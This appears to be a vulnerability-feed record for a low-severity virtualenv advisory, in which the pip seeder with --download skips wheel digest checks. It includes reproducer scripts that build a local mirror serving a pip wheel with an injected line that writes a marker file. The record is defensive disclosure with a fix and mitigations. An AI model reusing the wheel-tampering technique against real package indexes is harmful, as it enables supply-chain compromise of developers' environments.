{"id":"CVE-2026-113717","kind":"vulnerability","aliases":["CVE-2026-113717","GHSA-cx28-75q4-x26q"],"related":[],"title":"virtualenv: Pip seeding with download omits wheel digest verification","description":"## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I->>V: serve modified pip wheel\n    V->>V: get_wheel(download=False)\n    V->>P: install with --download permitting index lookup\n    P->>I: select same-version index wheel\n    I->>E: modified pip installed without virtualenv digest check\n    E->>E: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip's pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror's wheel for its digest: {refused}\")\nprint(f\"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}\")\nprint(f\"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, 'w').write('mirror code ran')\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads <index>/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f'<a href=\"{wheel_name}\">{wheel_name}</a>\\n')\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.","summary":"When virtualenv builds an environment with the pip seeder and --download, it lets pip pick a wheel from the configured index without comparing its SHA-256 against PyPI metadata. A non-PyPI index named in pip.conf can then serve a modified pip wheel that gets installed and runs later.","severity":"low","cvss":2.3,"epss":0.00297,"exploited":false,"exploited_at":null,"products":[{"name":"virtualenv","fixed":["21.14.9"],"affected":"< 21.14.9","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ci","cwe-494","package","python","self-hosted","virtualenv"],"not_affected_if":["default-config","default-seeder","embedded-wheels-only","pypi-index-only"],"how_to_check":"- Run `virtualenv --version` and compare with the fixed release `21.14.9`.\n- Check whether environments are built with `--seeder pip` together with `--download`, in CI scripts or tooling config.\n- Check `pip.conf` (user, global or project) for an `index-url` or `extra-index-url` pointing away from PyPI.","fix":"- Upgrade virtualenv to `21.14.9` or later.\n- Until upgraded, avoid `--seeder pip --download`; use embedded wheels without downloads, or verify approved seed archives separately.","status":"open","published_at":"2026-10-20T20:17:18+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","triaged_at":"2026-10-25T04:49:49+00:00","updated_at":"2026-10-25T04:49:49+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-10-25T04:49:49Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade virtualenv to `21.14.9` or later.\n- Until upgraded, avoid `--seeder pip --download`; use embedded wheels without downloads, or verify approved seed archives separately.","reach":"network","title":"virtualenv: pip seeder with --download skips wheel digest check","impact":"medium","summary":"When virtualenv builds an environment with the pip seeder and --download, it lets pip pick a wheel from the configured index without comparing its SHA-256 against PyPI metadata. A non-PyPI index named in pip.conf can then serve a modified pip wheel that gets installed and runs later.","category":"package","nicknames":[],"who_cares":["python","virtualenv","ci","self-hosted"],"confidence":0.7,"needs_auth":"unknown","worst_case":"Modified pip code from a non-PyPI index runs inside the seeded environment.","analyst_note":"","how_to_check":"- Run `virtualenv --version` and compare with the fixed release `21.14.9`.\n- Check whether environments are built with `--seeder pip` together with `--download`, in CI scripts or tooling config.\n- Check `pip.conf` (user, global or project) for an `index-url` or `extra-index-url` pointing away from PyPI.","needs_analyst":false,"not_affected_if":["default-config","default-seeder","embedded-wheels-only","pypi-index-only"],"who_is_affected":"Teams that build virtual environments with virtualenv using the pip seeder and the download option, especially where pip.conf points at a non-PyPI index. Default-seeder builds and builds that use only embedded wheels are not on this path. The report did not establish index control in the default PyPI setup.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"low"},"cost_usd":0.001058,"input_tokens":7490,"output_tokens":619,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-005':129C '-113717':12A,20A '-2026':11A,19A,123C,542C '-20261015':128C '-256':56B,258C '-494':24B '-74':124C,543C '/bin/pip':338C '/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).':201C '/pypa/virtualenv/pull/3430)':434C '/tmp/repro-pip-seeder-download':629C '/tmp/repro.d':562C,627C '/usr/bin/env':602C '15':132C '2026':134C '21.14.8':193C '21.7.12':429C '3430':431C '75q4':16A 'a857a7823c73':550C 'access':94C 'acquir':85C,435C 'activ':394C 'add':322C,342C,427C,515C 'advisori':598C 'affect':135C,189C 'aljbuf':125C,544C 'alreadi':176C 'ant':122C,541C 'anthrop':115C 'app':265C,523C 'app-data':264C,522C 'area':136C 'aros':422C 'attack':148C,447C 'attacker-control':147C 'behavior':584C 'bug':354C,580C 'build':33B 'built':281C 'bundl':86C,248C,295C,643C,656C 'byte':349C 'call':212C 'candid':102C 'capabl':573C 'case':563C 'chang':565C 'check':346C,508C 'ci':22B 'cmd':210C 'code':190C,516C 'commit':549C 'companion':559C,626C 'compar':53B,255C 'comparison':180C,392C,417C 'concern':162C 'configur':50B,235C 'consult':233C 'contain':574C 'control':149C,304C,400C 'copi':292C 'custom':173C 'custom-index':172C 'cve':10A,18A 'cwe':23B 'cx28':15A 'data':266C,524C 'default':165C,263C,310C,389C,403C,420C,521C 'default-index':164C 'default-seed':388C 'digest':8A,113C,168C,225C,316C,424C,507C,529C 'digest-verif':167C 'disabl':446C 'dispos':570C 'download':5A,41B,89C,98C,144C,155C,206C,215C,220C,307C,359C,411C,482C,488C 'e':468C,501C,509C,510C,520C 'emb':624C,658C 'enabl':146C 'entrypoint':557C 'env':309C,336C 'env-default':308C 'env-pip':335C 'environ':35B,327C,471C 'error':633C 'establish':398C 'evid':278C,591C 'expect':558C 'explicit':171C 'extra':378C 'f':661C 'fals':90C,216C,483C 'file':531C,534C,560C,587C 'filenam':301C 'find':161C 'first':211C 'follow':533C 'get':76B,213C,480C,623C,657C 'ghsa':14A 'ghsa-cx28-75q4-x26q':13A 'github.com':200C,433C 'github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).':199C 'github.com/pypa/virtualenv/pull/3430)':432C 'glob':605C 'hashlib':607C 'host':29B 'id':567C 'ignor':632C 'imag':554C 'import':604C,606C,608C,610C,612C,614C,616C,618C,622C 'includ':589C 'index':51B,64B,96C,101C,166C,174C,236C,238C,284C,333C,369C,375C,379C,383C,399C,444C,454C,490C,498C 'input':150C 'instal':77B,209C,232C,329C,348C,466C,486C,504C 'invoc':513C 'invok':441C 'json':609C 'last':576C 'later':80B,511C 'left':373C 'let':43B,92C,230C 'line':343C,578C 'local':283C 'lookup':445C,491C 'marker':351C 'match':331C 'mechan':202C 'mermaid':449C 'metadata':59B,183C,261C 'mismatch':317C 'modifi':72B,291C,475C,502C 'must':157C 'name':65B,285C 'need':361C,568C 'network':655C 'non':62B,367C 'non-pypi':61B,366C 'note':517C 'occur':585C 'octob':133C 'older':414C 'omit':6A 'opt':177C 'option':156C,275C 'os':611C 'os.makedirs':635C 'oss':117C 'output':577C 'p':463C,485C,492C 'packag':25B,243C 'particip':451C,457C,462C,467C 'pass':108C 'patch':185C 'path':105C,271C,412C 'permit':489C 'pick':45B 'pip':2A,38B,44B,73B,83C,93C,141C,152C,197C,205C,208C,231C,296C,324C,337C,357C,374C,377C,382C,409C,442C,465C,476C,503C,512C,640C,660C 'pip-seed':408C 'pip.conf':67B,287C,371C,456C 'pip/__init__.py':330C 'pipinvok':461C 'pipinvoke.get':207C 'polici':170C,188C 'pr':430C 'produc':325C 'pypi':58B,63B,182C,260C,368C,391C,404C,645C 'python':26B 'python3':603C 'ran':340C 'receiv':130C 'record':647C 'reject':311C,526C 'relev':192C 'remain':393C 'report':119C,353C,363C,539C,583C 'repro':556C,600C 'reproduc':345C,530C 'reproduct':276C 'rerun':595C 'retain':186C 'root':572C 'root-cap':571C 'run':79B,305C,321C,514C 'same-vers':495C 'scanner':118C,280C,538C,553C 'second':320C 'seed':3A,470C 'seeder':39B,84C,142C,153C,198C,204C,267C,323C,356C,390C,410C,421C,525C 'select':100C,138C,159C,252C,438C,494C 'self':28B 'self-host':27B 'sequenc':448C 'sequencediagram':450C 'serv':70B,289C,474C,651C 'set':175C,637C 'setup':405C 'sha':55B,257C 'sha256':650C 'shutil':613C 'shutil.rmtree':630C 'skip':227C 'sourc':194C 'subprocess':615C 'summari':81C 'sys':617C 'sys.version':663C 'sys.version_info.major':662C 'take':268C 'test':547C 'text':601C 'true':634C 'uncheck':407C 'unset':384C 'updat':599C 'url':376C,380C 'use':364C 'user':566C 'v':458C,473C,478C,479C,484C,519C 'verif':9A,114C,169C,270C,425C 'verifi':223C,437C 'version':245C,339C,497C 'virtualenv':1A,21A,30B,32B,110C,127C,218C,254C,306C,386C,460C,506C,642C 'virtualenv.seed.wheels.embed':621C 'virtualenv_offline.py':653C 'wheel':7A,47B,74B,87C,112C,137C,214C,221C,224C,239C,249C,297C,313C,334C,439C,477C,481C,499C,625C,641C,659C 'whose':328C 'without':52B,253C,505C 'work':628C,631C,636C 'x26q':17A 'zipfil':619C","nicknames":[],"mitigations":[],"who_affected":"Teams that build virtual environments with virtualenv using the pip seeder and the download option, especially where pip.conf points at a non-PyPI index. Default-seeder builds and builds that use only embedded wheels are not on this path. The report did not establish index control in the default PyPI setup.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T20:17:18+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"nvd","external_id":"CVE-2026-113717","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113717","severity":null,"published_at":"2026-10-20T20:17:18+00:00","modified_at":"2026-10-22T16:47:38+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null},{"source":"ghsa","external_id":"GHSA-cx28-75q4-x26q","url":"https://github.com/advisories/GHSA-cx28-75q4-x26q","severity":"low","published_at":"2026-10-23T22:26:04+00:00","modified_at":"2026-10-23T22:26:05+00:00","first_seen_at":"2026-10-23T22:27:42+00:00","fetched_at":"2026-10-23T22:27:42+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}